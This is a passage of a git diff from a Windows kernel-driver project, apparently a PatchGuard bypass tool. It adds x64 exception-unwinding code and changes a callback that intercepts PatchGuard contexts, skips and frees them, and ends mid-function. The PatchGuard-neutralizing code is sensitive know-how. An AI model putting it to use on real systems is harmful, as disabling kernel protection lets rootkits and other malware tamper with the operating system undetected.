LEAF_ENTRY _FlushSingleTb, _TEXT$00 + + mov rax, rcx + invlpg [rax] + ret + + LEAF_END _FlushSingleTb, _TEXT$00 + + end diff --git a/Projects/Shark/AMD64/ExceptAMD64.c b/Projects/Shark/AMD64/ExceptAMD64.c new file mode 100644 index 00000000..e281ed34 --- /dev/null +++ b/Projects/Shark/AMD64/ExceptAMD64.c @@ -0,0 +1,981 @@ +/* +* +* Copyright (c) 2015 - 2021 by blindtiger. All rights reserved. +* +* The contents of this file are subject to the Mozilla Public License Version +* 2.0 (the "License")); you may not use this file except in compliance with +* the License. You may obtain a copy of the License at +* http://www.mozilla.org/MPL/ +* +* Software distributed under the License is distributed on an "AS IS" basis, +* WITHOUT WARRANTY OF ANY KIND, either express or implied. SEe the License +* for the specific language governing rights and limitations under the +* License. +* +* The Initial Developer of the Original Code is blindtiger. +* +*/ + +#include +#include + +#include "Except.h" + +#include "Scan.h" +#include "Guard.h" +#include "Space.h" + +// +// ****** temp - define elsewhere ****** +// + +#define SIZE64_PREFIX 0x48 +#define ADD_IMM8_OP 0x83 +#define ADD_IMM32_OP 0x81 +#define JMP_IMM8_OP 0xeb +#define JMP_IMM32_OP 0xe9 +#define LEA_OP 0x8d +#define POP_OP 0x58 +#define RET_OP 0xc3 + +// +// Define unwind operation codes. +// + +typedef enum _AMD64_UNWIND_OP_CODES { + AMD64_UWOP_PUSH_NONVOL = 0, + AMD64_UWOP_ALLOC_LARGE, + AMD64_UWOP_ALLOC_SMALL, + AMD64_UWOP_SET_FPREG, + AMD64_UWOP_SAVE_NONVOL, + AMD64_UWOP_SAVE_NONVOL_FAR, + AMD64_UWOP_SAVE_XMM, + AMD64_UWOP_SAVE_XMM_FAR, + AMD64_UWOP_SAVE_XMM128, + AMD64_UWOP_SAVE_XMM128_FAR, + AMD64_UWOP_PUSH_MACHFRAME +} AMD64_UNWIND_OP_CODES, *PAMD64_UNWIND_OP_CODES; + +// +// Define lookup table for providing the number of slots used by each unwind +// code. +// + +u8 UnwindOpSlotTable[] = { + 1, // UWOP_PUSH_NONVOL + 2, // UWOP_ALLOC_LARGE (or 3, special cased in lookup code) + 1, // UWOP_ALLOC_SMALL + 1, // UWOP_SET_FPREG + 2, // UWOP_SAVE_NONVOL + 3, // UWOP_SAVE_NONVOL_FAR + 2, // UWOP_SAVE_XMM + 3, // UWOP_SAVE_XMM_FAR + 2, // UWOP_SAVE_XMM128 + 3, // UWOP_SAVE_XMM128_FAR + 1 // UWOP_PUSH_MACHFRAME +}; + +void +NTAPI +InitializeExcept( + __inout PRTB Block +) +{ + NOTHING; +} + +void +NTAPI +InsertInvertedFunctionTable( + __in ptr ImageBase, + __in u32 SizeOfImage +) +{ + u32 CurrentSize = 0; + u32 SizeOfTable = 0; + u32 Index = 0; + ptr FunctionTable = NULL; + PFUNCTION_TABLE_ENTRY64 FunctionTableEntry = NULL; + + if (IPI_LEVEL != KeGetCurrentIrql()) { + RtBlock.KeEnterCriticalRegion(); + + ExAcquireResourceExclusiveLite(RtBlock.PsLoadedModuleResource, TRUE); + } + + FunctionTableEntry = (PFUNCTION_TABLE_ENTRY64) + &RtBlock.PsInvertedFunctionTable->TableEntry; + + CurrentSize = RtBlock.PsInvertedFunctionTable->CurrentSize; + + if (RtBlock.DebuggerDataBlock.KernBase == + FunctionTableEntry[0].ImageBase) { + Index = 1; + } + + if (CurrentSize != RtBlock.PsInvertedFunctionTable->MaximumSize) { + if (0 != CurrentSize) { + for (; + Index < CurrentSize; + Index++) { + if ((u)ImageBase < FunctionTableEntry[Index].ImageBase) { + RtlMoveMemory( + &FunctionTableEntry[Index + 1], + &FunctionTableEntry[Index], + (CurrentSize - Index) * sizeof(FUNCTION_TABLE_ENTRY64)); + + break; + } + } + } + + CaptureImageExceptionValues( + ImageBase, + &FunctionTable, + &SizeOfTable); + + FunctionTableEntry[Index].ImageBase = (u)ImageBase; + FunctionTableEntry[Index].SizeOfImage = SizeOfImage; + FunctionTableEntry[Index].FunctionTable = (u)FunctionTable; + FunctionTableEntry[Index].SizeOfTable = SizeOfTable; + + RtBlock.PsInvertedFunctionTable->CurrentSize += 1; + } + else { + RtBlock.PsInvertedFunctionTable->Overflow = TRUE; + } + + if (IPI_LEVEL != KeGetCurrentIrql()) { + ExReleaseResourceLite(RtBlock.PsLoadedModuleResource); + + RtBlock.KeLeaveCriticalRegion(); + } +} + +void +NTAPI +RemoveInvertedFunctionTable( + __in ptr ImageBase +) +{ + u32 CurrentSize = 0; + u32 Index = 0; + PFUNCTION_TABLE_ENTRY64 FunctionTableEntry = NULL; + + if (IPI_LEVEL != KeGetCurrentIrql()) { + RtBlock.KeEnterCriticalRegion(); + + ExAcquireResourceExclusiveLite(RtBlock.PsLoadedModuleResource, TRUE); + } + + FunctionTableEntry = (PFUNCTION_TABLE_ENTRY64) + &RtBlock.PsInvertedFunctionTable->TableEntry; + + CurrentSize = RtBlock.PsInvertedFunctionTable->CurrentSize; + + for (Index = 0; + Index < CurrentSize; + Index += 1) { + if ((u)ImageBase == FunctionTableEntry[Index].ImageBase) { + RtlMoveMemory( + &FunctionTableEntry[Index], + &FunctionTableEntry[Index + 1], + (CurrentSize - Index - 1) * sizeof(FUNCTION_TABLE_ENTRY64)); + + RtBlock.PsInvertedFunctionTable->CurrentSize -= 1; + + break; + } + } + + if (IPI_LEVEL != KeGetCurrentIrql()) { + ExReleaseResourceLite(RtBlock.PsLoadedModuleResource); + + RtBlock.KeLeaveCriticalRegion(); + } +} + +PRUNTIME_FUNCTION +NTAPI +UnwindPrologue( + __in u64 ImageBase, + __in u64 ControlPc, + __in u64 FrameBase, + __in PRUNTIME_FUNCTION FunctionEntry, + __inout PCONTEXT ContextRecord, + __inout_opt PKNONVOLATILE_CONTEXT_POINTERS ContextPointers +) +/*++ + +Routine Description: + + This function processes unwind codes and reverses the state change + effects of a prologue. If the specified unwind information contains + chained unwind information, then that prologue is unwound recursively. + As the prologue is unwound state changes are recorded in the specified + context structure and optionally in the specified context pointers + structures. + +Arguments: + + ImageBase - Supplies the base address of the image that contains the + function being unwound. + + ControlPc - Supplies the address where control left the specified + function. + + FrameBase - Supplies the base of the stack frame subject function stack + frame. + + FunctionEntry - Supplies the address of the function table entry for the + specified function. + + ContextRecord - Supplies the address of a context record. + + ContextPointers - Supplies an optional pointer to a context pointers + record. + +Return Value: + +--*/ +{ + PM128A FloatingAddress; + PM128A FloatingRegister; + u32 FrameOffset; + u32 Index; + u64ptr IntegerAddress; + u64ptr IntegerRegister; + b MachineFrame; + u32 OpInfo; + u32 PrologOffset; + u64ptr RegisterAddress; + u64ptr ReturnAddress; + u64ptr StackAddress; + PUNWIND_CODE UnwindCode; + PUNWIND_INFO UnwindInfo; + u32 UnwindOp; + + // + // Process the unwind codes. + // + + FloatingRegister = &ContextRecord->Xmm0; + IntegerRegister = &ContextRecord->Rax; + Index = 0; + MachineFrame = FALSE; + PrologOffset = (u32)(ControlPc - (FunctionEntry->BeginAddress + ImageBase)); + UnwindInfo = (PUNWIND_INFO)(FunctionEntry->UnwindData + ImageBase); + + while (Index < UnwindInfo->CountOfCodes) { + // + // If the prologue offset is greater than the next unwind code offset, + // then simulate the effect of the unwind code. + // + + UnwindOp = UnwindInfo->UnwindCode[Index].UnwindOp; + OpInfo = UnwindInfo->UnwindCode[Index].OpInfo; + + if (PrologOffset >= UnwindInfo->UnwindCode[Index].CodeOffset) { + switch (UnwindOp) { + // + // Push nonvolatile integer register. + // + // The operation information is the register number of the + // register than was pushed. + // + + case AMD64_UWOP_PUSH_NONVOL: + IntegerAddress = (u64ptr)(ContextRecord->Rsp); + IntegerRegister[OpInfo] = *IntegerAddress; + + if (ARGUMENT_PRESENT(ContextPointers)) { + ContextPointers->IntegerContext[OpInfo] = IntegerAddress; + } + + ContextRecord->Rsp += 8; + + break; + + // + // Allocate a large sized area on the stack. + // + // The operation information determines if the size is + // 16- or 32-bits. + // + + case AMD64_UWOP_ALLOC_LARGE: + Index += 1; + FrameOffset = UnwindInfo->UnwindCode[Index].FrameOffset; + + if (OpInfo != 0) { + Index += 1; + FrameOffset += (UnwindInfo->UnwindCode[Index].FrameOffset << 16); + } + else { + FrameOffset *= 8; + } + + ContextRecord->Rsp += FrameOffset; + + break; + + // + // Allocate a small sized area on the stack. + // + // The operation information is the size of the unscaled + // allocation size (8 is the scale factor) minus 8. + // + + case AMD64_UWOP_ALLOC_SMALL: + ContextRecord->Rsp += (OpInfo * 8) + 8; + + break; + + // + // Establish the the frame pointer register. + // + // The operation information is not used. + // + + case AMD64_UWOP_SET_FPREG: + ContextRecord->Rsp = IntegerRegister[UnwindInfo->FrameRegister]; + ContextRecord->Rsp -= UnwindInfo->FrameOffset * 16; + + break; + + // + // Save nonvolatile integer register on the stack using a + // 16-bit displacment. + // + // The operation information is the register number. + // + + case AMD64_UWOP_SAVE_NONVOL: + Index += 1; + FrameOffset = UnwindInfo->UnwindCode[Index].FrameOffset * 8; + IntegerAddress = (u64ptr)(FrameBase + FrameOffset); + IntegerRegister[OpInfo] = *IntegerAddress; + + if (ARGUMENT_PRESENT(ContextPointers)) { + ContextPointers->IntegerContext[OpInfo] = IntegerAddress; + } + + break; + + // + // Save nonvolatile integer register on the stack using a + // 32-bit displacment. + // + // The operation information is the register number. + // + + case AMD64_UWOP_SAVE_NONVOL_FAR: + Index += 2; + FrameOffset = UnwindInfo->UnwindCode[Index - 1].FrameOffset; + FrameOffset += (UnwindInfo->UnwindCode[Index].FrameOffset << 16); + IntegerAddress = (u64ptr)(FrameBase + FrameOffset); + IntegerRegister[OpInfo] = *IntegerAddress; + + if (ARGUMENT_PRESENT(ContextPointers)) { + ContextPointers->IntegerContext[OpInfo] = IntegerAddress; + } + + break; + + // + // Save a nonvolatile XMM(64) register on the stack using a + // 16-bit displacement. + // + // The operation information is the register number. + // + + case AMD64_UWOP_SAVE_XMM: + Index += 1; + FrameOffset = UnwindInfo->UnwindCode[Index].FrameOffset * 8; + FloatingAddress = (PM128A)(FrameBase + FrameOffset); + FloatingRegister[OpInfo].Low = FloatingAddress->Low; + FloatingRegister[OpInfo].High = 0; + + if (ARGUMENT_PRESENT(ContextPointers)) { + ContextPointers->FloatingContext[OpInfo] = FloatingAddress; + } + + break; + + // + // Save a nonvolatile XMM(64) register on the stack using a + // 32-bit displacement. + // + // The operation information is the register number. + // + + case AMD64_UWOP_SAVE_XMM_FAR: + Index += 2; + FrameOffset = UnwindInfo->UnwindCode[Index - 1].FrameOffset; + FrameOffset += (UnwindInfo->UnwindCode[Index].FrameOffset << 16); + FloatingAddress = (PM128A)(FrameBase + FrameOffset); + FloatingRegister[OpInfo].Low = FloatingAddress->Low; + FloatingRegister[OpInfo].High = 0; + + if (ARGUMENT_PRESENT(ContextPointers)) { + ContextPointers->FloatingContext[OpInfo] = FloatingAddress; + } + + break; + + // + // Save a nonvolatile XMM(128) register on the stack using a + // 16-bit displacement. + // + // The operation information is the register number. + // + + case AMD64_UWOP_SAVE_XMM128: + Index += 1; + FrameOffset = UnwindInfo->UnwindCode[Index].FrameOffset * 16; + FloatingAddress = (PM128A)(FrameBase + FrameOffset); + FloatingRegister[OpInfo].Low = FloatingAddress->Low; + FloatingRegister[OpInfo].High = FloatingAddress->High; + + if (ARGUMENT_PRESENT(ContextPointers)) { + ContextPointers->FloatingContext[OpInfo] = FloatingAddress; + } + + break; + + // + // Save a nonvolatile XMM(128) register on the stack using a + // 32-bit displacement. + // + // The operation information is the register number. + // + + case AMD64_UWOP_SAVE_XMM128_FAR: + Index += 2; + FrameOffset = UnwindInfo->UnwindCode[Index - 1].FrameOffset; + FrameOffset += (UnwindInfo->UnwindCode[Index].FrameOffset << 16); + FloatingAddress = (PM128A)(FrameBase + FrameOffset); + FloatingRegister[OpInfo].Low = FloatingAddress->Low; + FloatingRegister[OpInfo].High = FloatingAddress->High; + + if (ARGUMENT_PRESENT(ContextPointers)) { + ContextPointers->FloatingContext[OpInfo] = FloatingAddress; + } + + break; + + // + // Push a machine frame on the stack. + // + // The operation information determines whether the machine + // frame contains an error code or not. + // + + case AMD64_UWOP_PUSH_MACHFRAME: + MachineFrame = TRUE; + ReturnAddress = (u64ptr)(ContextRecord->Rsp); + StackAddress = (u64ptr)(ContextRecord->Rsp + (3 * 8)); + + if (OpInfo != 0) { + ReturnAddress += 1; + StackAddress += 1; + } + + ContextRecord->Rip = *ReturnAddress; + ContextRecord->Rsp = *StackAddress; + + break; + + // + // Unused codes. + // + + default: + break; + } + + Index += 1; + + } + else { + // + // Skip this unwind operation by advancing the slot index by the + // number of slots consumed by this operation. + // + + Index += UnwindOpSlotTable[UnwindOp]; + + // + // Special case any unwind operations that can consume a variable + // number of slots. + // + + switch (UnwindOp) { + // + // A non-zero operation information indicates that an + // additional slot is consumed. + // + + case AMD64_UWOP_ALLOC_LARGE: + if (OpInfo != 0) { + Index += 1; + } + + break; + + // + // No other special cases. + // + + default: + break; + } + } + } + + // + // If chained unwind information is specified, then recursively unwind + // the chained information. Otherwise, determine the return address if + // a machine frame was not encountered during the scan of the unwind + // codes. + // + + if ((UnwindInfo->Flags & UNW_FLAG_CHAININFO) != 0) { + Index = UnwindInfo->CountOfCodes; + + if ((Index & 1) != 0) { + Index += 1; + } + + FunctionEntry = (PRUNTIME_FUNCTION)(*(u32ptr *)(&UnwindInfo->UnwindCode[Index]) + ImageBase); + + return UnwindPrologue(ImageBase, + ControlPc, + FrameBase, + FunctionEntry, + ContextRecord, + ContextPointers); + + } + else { + if (MachineFrame == FALSE) { + ContextRecord->Rip = *(u64ptr)(ContextRecord->Rsp); + ContextRecord->Rsp += 8; + } + + return FunctionEntry; + } +} + +PEXCEPTION_ROUTINE +NTAPI +VirtualUnwind( + __in u32 HandlerType, + __in u64 ImageBase, + __in u64 ControlPc, + __in PRUNTIME_FUNCTION FunctionEntry, + __inout PCONTEXT ContextRecord, + __out ptr * HandlerData, + __out u64ptr EstablisherFrame, + __inout_opt PKNONVOLATILE_CONTEXT_POINTERS ContextPointers +) +/*++ + +Routine Description: + + This function virtually unwinds the specified function by executing its + prologue code backward or its epilogue code forward. + + If a context pointers record is specified, then the address where each + nonvolatile registers is restored from is recorded in the appropriate + element of the context pointers record. + +Arguments: + + HandlerType - Supplies the handler type expected for the virtual unwind. + This may be either an exception or an unwind handler. + + ImageBase - Supplies the base address of the image that contains the + function being unwound. + + ControlPc - Supplies the address where control left the specified + function. + + FunctionEntry - Supplies the address of the function table entry for the + specified function. + + ContextRecord - Supplies the address of a context record. + + HandlerData - Supplies a pointer to a variable that receives a pointer + the the language handler data. + + EstablisherFrame - Supplies a pointer to a variable that receives the + the establisher frame pointer value. + + ContextPointers - Supplies an optional pointer to a context pointers + record. + +Return Value: + + If control did not leave the specified function in either the prologue + or an epilogue and a handler of the proper type is associated with the + function, then the address of the language specific exception handler + is returned. Otherwise, NULL is returned. + +--*/ +{ + u64 BranchTarget; + s32 Displacement; + u32 FrameRegister; + u32 Index; + u32 InEpilogue; + u64ptr IntegerAddress; + u64ptr IntegerRegister; + cptr NextByte; + u32 PrologOffset; + u32 RegisterNumber; + PUNWIND_INFO UnwindInfo; + + // + // If the specified function does not use a frame pointer, then the + // establisher frame is the contents of the stack pointer. This may + // not actually be the real establisher frame if control left the + // function from within the prologue. In this case the establisher + // frame may be not required since control has not actually entered + // the function and prologue entries cannot refer to the establisher + // frame before it has been established, i.e., if it has not been + // established, then no save unwind codes should be encountered during + // the unwind operation. + // + // If the specified function uses a frame pointer and control left the + // function outside of the prologue or the unwind information contains + // a chained information structure, then the establisher frame is the + // contents of the frame pointer. + // + // If the specified function uses a frame pointer and control left the + // function from within the prologue, then the set frame pointer unwind + // code must be looked up in the unwind codes to detetermine if the + // contents of the stack pointer or the contents of the frame pointer + // should be used for the establisher frame. This may not atually be + // the real establisher frame. In this case the establisher frame may + // not be required since control has not actually entered the function + // and prologue entries cannot refer to the establisher frame before it + // has been established, i.e., if it has not been established, then no + // save unwind codes should be encountered during the unwind operation. + // + // N.B. The correctness of these assumptions is based on the ordering of + // unwind codes. + // + + UnwindInfo = (PUNWIND_INFO)(FunctionEntry->UnwindData + ImageBase); + PrologOffset = (u32)(ControlPc - (FunctionEntry->BeginAddress + ImageBase)); + + if (UnwindInfo->FrameRegister == 0) { + *EstablisherFrame = ContextRecord->Rsp; + } + else if ((PrologOffset >= UnwindInfo->SizeOfProlog) || + ((UnwindInfo->Flags & UNW_FLAG_CHAININFO) != 0)) { + *EstablisherFrame = (&ContextRecord->Rax)[UnwindInfo->FrameRegister]; + *EstablisherFrame -= UnwindInfo->FrameOffset * 16; + } + else { + Index = 0; + + while (Index < UnwindInfo->CountOfCodes) { + if (UnwindInfo->UnwindCode[Index].UnwindOp == UWOP_SET_FPREG) { + break; + } + + Index += 1; + } + + if (PrologOffset >= UnwindInfo->UnwindCode[Index].CodeOffset) { + *EstablisherFrame = (&ContextRecord->Rax)[UnwindInfo->FrameRegister]; + *EstablisherFrame -= UnwindInfo->FrameOffset * 16; + } + else { + *EstablisherFrame = ContextRecord->Rsp; + } + } + + // + // Check for epilogue. + // + // If the point at which control left the specified function is in an + // epilogue, then emulate the execution of the epilogue forward and + // return no exception handler. + // + + IntegerRegister = &ContextRecord->Rax; + NextByte = (cptr)ControlPc; + + // + // Check for one of: + // + // add rsp, imm8 + // or + // add rsp, imm32 + // or + // lea rsp, -disp8[fp] + // or + // lea rsp, -disp32[fp] + // + + if ((NextByte[0] == SIZE64_PREFIX) && + (NextByte[1] == ADD_IMM8_OP) && + (NextByte[2] == 0xc4)) { + // + // add rsp, imm8. + // + + NextByte += 4; + + } + else if ((NextByte[0] == SIZE64_PREFIX) && + (NextByte[1] == ADD_IMM32_OP) && + (NextByte[2] == 0xc4)) { + // + // add rsp, imm32. + // + + NextByte += 7; + + } + else if (((NextByte[0] & 0xf8) == SIZE64_PREFIX) && + (NextByte[1] == LEA_OP)) { + FrameRegister = ((NextByte[0] & 0x7) << 3) | (NextByte[2] & 0x7); + + if ((FrameRegister != 0) && + (FrameRegister == UnwindInfo->FrameRegister)) { + if ((NextByte[2] & 0xf8) == 0x60) { + // + // lea rsp, disp8[fp]. + // + + NextByte += 4; + + } + else if ((NextByte[2] & 0xf8) == 0xa0) { + // + // lea rsp, disp32[fp]. + // + + NextByte += 7; + } + } + } + + // + // Check for any number of: + // + // pop nonvolatile-integer-register[0..15]. + // + + while (TRUE) { + if ((NextByte[0] & 0xf8) == POP_OP) { + NextByte += 1; + } + else if (((NextByte[0] & 0xf8) == SIZE64_PREFIX) && + ((NextByte[1] & 0xf8) == POP_OP)) { + NextByte += 2; + } + else { + break; + } + } + + // + // If the next instruction is a return, then control is currently in + // an epilogue and execution of the epilogue should be emulated. + // Otherwise, execution is not in an epilogue and the prologue should + // be unwound. + // + + InEpilogue = FALSE; + if (NextByte[0] == RET_OP) { + // + // A return is an unambiguous indication of an epilogue + // + + InEpilogue = TRUE; + } + else if (NextByte[0] == JMP_IMM8_OP || NextByte[0] == JMP_IMM32_OP) { + // + // An unconditional branch to a target that is equal to the start of + // or outside of this routine is logically a call to another function. + // + + BranchTarget = (u64)NextByte - ImageBase; + + if (NextByte[0] == JMP_IMM8_OP) { + BranchTarget += 2 + (CHAR)NextByte[1]; + } + else { + BranchTarget += 5 + *((s32 UNALIGNED *)&NextByte[1]); + } + + // + // Now determine whether the branch target refers to code within this + // function. If not, then it is an epilogue indicator. + // + + if (BranchTarget <= FunctionEntry->BeginAddress || + BranchTarget > FunctionEntry->EndAddress) { + InEpilogue = TRUE; + } + } + + if (InEpilogue != FALSE) { + NextByte = (cptr)ControlPc; + + // + // Emulate one of (if any): + // + // add rsp, imm8 + // or + // add rsp, imm32 + // or + // lea rsp, disp8[frame-register] + // or + // lea rsp, disp32[frame-register] + // + + if ((NextByte[0] & 0xf8) == SIZE64_PREFIX) { + if (NextByte[1] == ADD_IMM8_OP) { + // + // add rsp, imm8. + // + + ContextRecord->Rsp += (CHAR)NextByte[3]; + NextByte += 4; + } + else if (NextByte[1] == ADD_IMM32_OP) { + // + // add rsp, imm32. + // + + Displacement = NextByte[3] | (NextByte[4] << 8); + Displacement |= (NextByte[5] << 16) | (NextByte[6] << 24); + ContextRecord->Rsp += Displacement; + NextByte += 7; + } + else if (NextByte[1] == LEA_OP) { + if ((NextByte[2] & 0xf8) == 0x60) { + // + // lea rsp, disp8[frame-register]. + // + + ContextRecord->Rsp = IntegerRegister[FrameRegister]; + ContextRecord->Rsp += (CHAR)NextByte[3]; + NextByte += 4; + } + else if ((NextByte[2] & 0xf8) == 0xa0) { + // + // lea rsp, disp32[frame-register]. + // + + Displacement = NextByte[3] | (NextByte[4] << 8); + Displacement |= (NextByte[5] << 16) | (NextByte[6] << 24); + ContextRecord->Rsp = IntegerRegister[FrameRegister]; + ContextRecord->Rsp += Displacement; + NextByte += 7; + } + } + } + + // + // Emulate any number of (if any): + // + // pop nonvolatile-integer-register. + // + + while (TRUE) { + if ((NextByte[0] & 0xf8) == POP_OP) { + // + // pop nonvolatile-integer-register[0..7] + // + + RegisterNumber = NextByte[0] & 0x7; + IntegerAddress = (u64ptr)ContextRecord->Rsp; + IntegerRegister[RegisterNumber] = *IntegerAddress; + + if (ARGUMENT_PRESENT(ContextPointers)) { + ContextPointers->IntegerContext[RegisterNumber] = IntegerAddress; + } + + ContextRecord->Rsp += 8; + NextByte += 1; + } + else if (((NextByte[0] & 0xf8) == SIZE64_PREFIX) && + ((NextByte[1] & 0xf8) == POP_OP)) { + // + // pop nonvolatile-integer-regiser[8..15] + // + + RegisterNumber = ((NextByte[0] & 1) << 3) | (NextByte[1] & 0x7); + IntegerAddress = (u64ptr)ContextRecord->Rsp; + IntegerRegister[RegisterNumber] = *IntegerAddress; + + if (ARGUMENT_PRESENT(ContextPointers)) { + ContextPointers->IntegerContext[RegisterNumber] = IntegerAddress; + } + + ContextRecord->Rsp += 8; + NextByte += 2; + + } + else { + break; + } + } + + // + // Emulate return and return null exception handler. + // + // Note: this instruction might in fact be a jmp, however + // we want to emulate a return regardless. + // + + ContextRecord->Rip = *(u64ptr)(ContextRecord->Rsp); + ContextRecord->Rsp += 8; + return NULL; + } + + // + // Control left the specified function outside an epilogue. Unwind the + // subject function and any chained unwind information. + // + + FunctionEntry = UnwindPrologue(ImageBase, + ControlPc, + *EstablisherFrame, + FunctionEntry, + ContextRecord, + ContextPointers); + + // + // If control left the specified function outside of the prologue and + // the function has a handler that matches the specified type, then + // return the address of the language specific exception handler. + // Otherwise, return NULL. + // + + UnwindInfo = (PUNWIND_INFO)(FunctionEntry->UnwindData + ImageBase); + PrologOffset = (u32)(ControlPc - (FunctionEntry->BeginAddress + ImageBase)); + + if ((PrologOffset >= UnwindInfo->SizeOfProlog) && + ((UnwindInfo->Flags & HandlerType) != 0)) { + Index = UnwindInfo->CountOfCodes; + + if ((Index & 1) != 0) { + Index += 1; + } + + *HandlerData = &UnwindInfo->UnwindCode[Index + 2]; + + return (PEXCEPTION_ROUTINE)(*((u32ptr)&UnwindInfo->UnwindCode[Index]) + ImageBase); + } + else { + return NULL; + } +} diff --git a/Projects/Shark/AMD64/PatchGuardAMD64.c b/Projects/Shark/AMD64/PatchGuardAMD64.c index 980bd31b..16ec25b0 100644 --- a/Projects/Shark/AMD64/PatchGuardAMD64.c +++ b/Projects/Shark/AMD64/PatchGuardAMD64.c @@ -20,7 +20,8 @@ #include "PatchGuard.h" -#include "Ctx.h" +#include "Ctx.h" +#include "Except.h" #include "Guard.h" #include "Rtx.h" #include "Scan.h" @@ -33,19 +34,19 @@ PgFreeWorker( __in PPGOBJECT Object ) { - PPGBLOCK PgBlock = NULL; + PPGBLOCK Block = NULL; GetCounterBody( &Object->Body.Reserved, - &PgBlock); + &Block); if (PgPoolBigPage == Object->Type) { - GetGpBlock(PgBlock)->ExFreePoolWithTag( + GetRtBlock(Block)->ExFreePoolWithTag( Object->BaseAddress, 0); } else if (PgSystemPtes == Object->Type) { - PgBlock->MmFreeIndependentPages( + Block->MmFreeIndependentPages( Object->BaseAddress, Object->RegionSize); } @@ -53,7 +54,7 @@ PgFreeWorker( NOTHING; } - GetGpBlock(PgBlock)->ExFreePoolWithTag(Object, 0); + GetRtBlock(Block)->ExFreePoolWithTag(Object, 0); } void @@ -62,235 +63,97 @@ PgClearCallback( __in PCONTEXT Context, __in_opt ptr ProgramCounter, __in_opt PPGOBJECT Object, - __in_opt PPGBLOCK PgBlock + __in_opt PPGBLOCK Block ) { PETHREAD Thread = NULL; PKSTART_FRAME StartFrame = NULL; PKSWITCH_FRAME SwitchFrame = NULL; PKTRAP_FRAME TrapFrame = NULL; - u32 Index = 0; - KNONVOLATILE_CONTEXT_POINTERS ContextPointers = { 0 }; - u64 ControlPc = 0; - u64 EstablisherFrame = 0; - PRUNTIME_FUNCTION FunctionEntry = NULL; - ptr HandlerData = NULL; - u64 ImageBase = 0; - PMMPTE PointerPte = NULL; - u32 BugCheckCode = 0; - - if (NULL != ProgramCounter) { - BugCheckCode = __rds32(&Context->Rcx); - - if (ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY == BugCheckCode) { - TrapFrame = (PKTRAP_FRAME)Context->R9; - - if (NULL != TrapFrame) { - ContextPointers.Rbx = &Context->Rbx; - ContextPointers.Rsp = &Context->Rsp; - ContextPointers.Rbp = &Context->Rbp; - ContextPointers.Rsi = &Context->Rsi; - ContextPointers.Rdi = &Context->Rdi; - ContextPointers.R12 = &Context->R12; - ContextPointers.R13 = &Context->R13; - ContextPointers.R14 = &Context->R14; - ContextPointers.R15 = &Context->R15; - - ContextPointers.Xmm6 = &Context->Xmm6; - ContextPointers.Xmm7 = &Context->Xmm7; - ContextPointers.Xmm8 = &Context->Xmm8; - ContextPointers.Xmm9 = &Context->Xmm9; - ContextPointers.Xmm10 = &Context->Xmm10; - ContextPointers.Xmm11 = &Context->Xmm11; - ContextPointers.Xmm12 = &Context->Xmm12; - ContextPointers.Xmm13 = &Context->Xmm13; - ContextPointers.Xmm14 = &Context->Xmm14; - ContextPointers.Xmm15 = &Context->Xmm15; - - do { - ControlPc = Context->Rip; - - FunctionEntry = PgBlock->RtlLookupFunctionEntry( - ControlPc, - &ImageBase, - NULL); - - if (NULL != FunctionEntry && - FALSE != PgBlock->MmIsAddressValid((ptr)EstablisherFrame)) { - PgBlock->RtlVirtualUnwind( - UNW_FLAG_EHANDLER, - ImageBase, - ControlPc, - FunctionEntry, - Context, - &HandlerData, - &EstablisherFrame, - &ContextPointers); - } - else { - Context->Rip = *(u64ptr)(Context->Rsp); - Context->Rsp += 8; - } - } while (EstablisherFrame != (u64)TrapFrame); - - Context->Rax = TrapFrame->Rax; - Context->Rcx = TrapFrame->Rcx; - Context->Rdx = TrapFrame->Rdx; - Context->R8 = TrapFrame->R8; - Context->R9 = TrapFrame->R9; - Context->R10 = TrapFrame->R10; - Context->R11 = TrapFrame->R11; - - Context->Xmm0 = TrapFrame->Xmm0; - Context->Xmm1 = TrapFrame->Xmm1; - Context->Xmm2 = TrapFrame->Xmm2; - Context->Xmm3 = TrapFrame->Xmm3; - Context->Xmm4 = TrapFrame->Xmm4; - Context->Xmm5 = TrapFrame->Xmm5; - - Context->MxCsr = TrapFrame->MxCsr; - } - - if (FALSE == IsListEmpty(&PgBlock->ObjectList)) { - Object = CONTAINING_RECORD( - PgBlock->ObjectList.Flink, - PGOBJECT, - Entry); - - while (&Object->Entry != &PgBlock->ObjectList) { - if (TrapFrame->Rip >= (u64)Object->BaseAddress && - TrapFrame->Rip < (u64)Object->BaseAddress + PAGE_SIZE) { - GetGpBlock(PgBlock)->ExInterlockedRemoveHeadList( - Object->Entry.Blink, - &PgBlock->ObjectLock); - - if (0x1131482e == __rds32(TrapFrame->Rip)) { - Context->Rip = __rdsptr(TrapFrame->Rsp); - Context->Rsp = TrapFrame->Rsp + sizeof(ptr); - -#ifdef DEBUG - GetGpBlock(PgBlock)->vDbgPrint( - PgBlock->ClearMessage[PgEncrypted], - Object); -#endif // DEBUG - - ExInitializeWorkItem( - &Object->Worker, PgBlock->FreeWorker, Object); - - PgBlock->ExQueueWorkItem( - &Object->Worker, CriticalWorkQueue); - } - else { - PgBlock->MmSetPageProtection( - PAGE_ALIGN(TrapFrame->Rip), - PAGE_SIZE, - PAGE_EXECUTE_READWRITE); - - Object->Type = PgMaximumType; - - ExInitializeWorkItem( - &Object->Worker, PgBlock->FreeWorker, Object); - - PgBlock->ExQueueWorkItem( - &Object->Worker, CriticalWorkQueue); - - Context->Rip = TrapFrame->Rip; - Context->Rsp = TrapFrame->Rsp; - } - - break; - } - Object = CONTAINING_RECORD( - Object->Entry.Flink, - PGOBJECT, - Entry); - } - } - } - else { - // __debugbreak(); - } - } - else { + if (NULL != Object) { GetCounterBody( &Object->Body.Reserved, - &PgBlock); + &Block); #ifdef DEBUG - GetGpBlock(PgBlock)->vDbgPrint( - PgBlock->ClearMessage[Object->Encrypted], + GetRtBlock(Block)->vDbgPrint( + Block->ClearMessage[Object->Encrypted], Object); #endif // DEBUG - GetGpBlock(PgBlock)->ExInterlockedRemoveHeadList( + GetRtBlock(Block)->ExInterlockedRemoveHeadList( Object->Entry.Blink, - &PgBlock->ObjectLock); + &Block->Lock); if (PgDoubleEncrypted == Object->Encrypted) { - Context->Rip = __rdsptr(Context->Rsp); + Context->Rip = __rduptr(Context->Rsp); Context->Rsp += sizeof(ptr); ExInitializeWorkItem( - &Object->Worker, PgBlock->FreeWorker, Object); + &Object->Worker, Block->FreeWorker, Object); - PgBlock->ExQueueWorkItem( + Block->ExQueueWorkItem( &Object->Worker, CriticalWorkQueue); } else if (PgEncrypted == Object->Encrypted) { - Context->Rip = __rdsptr(Context->Rsp + KSTART_FRAME_LENGTH); + 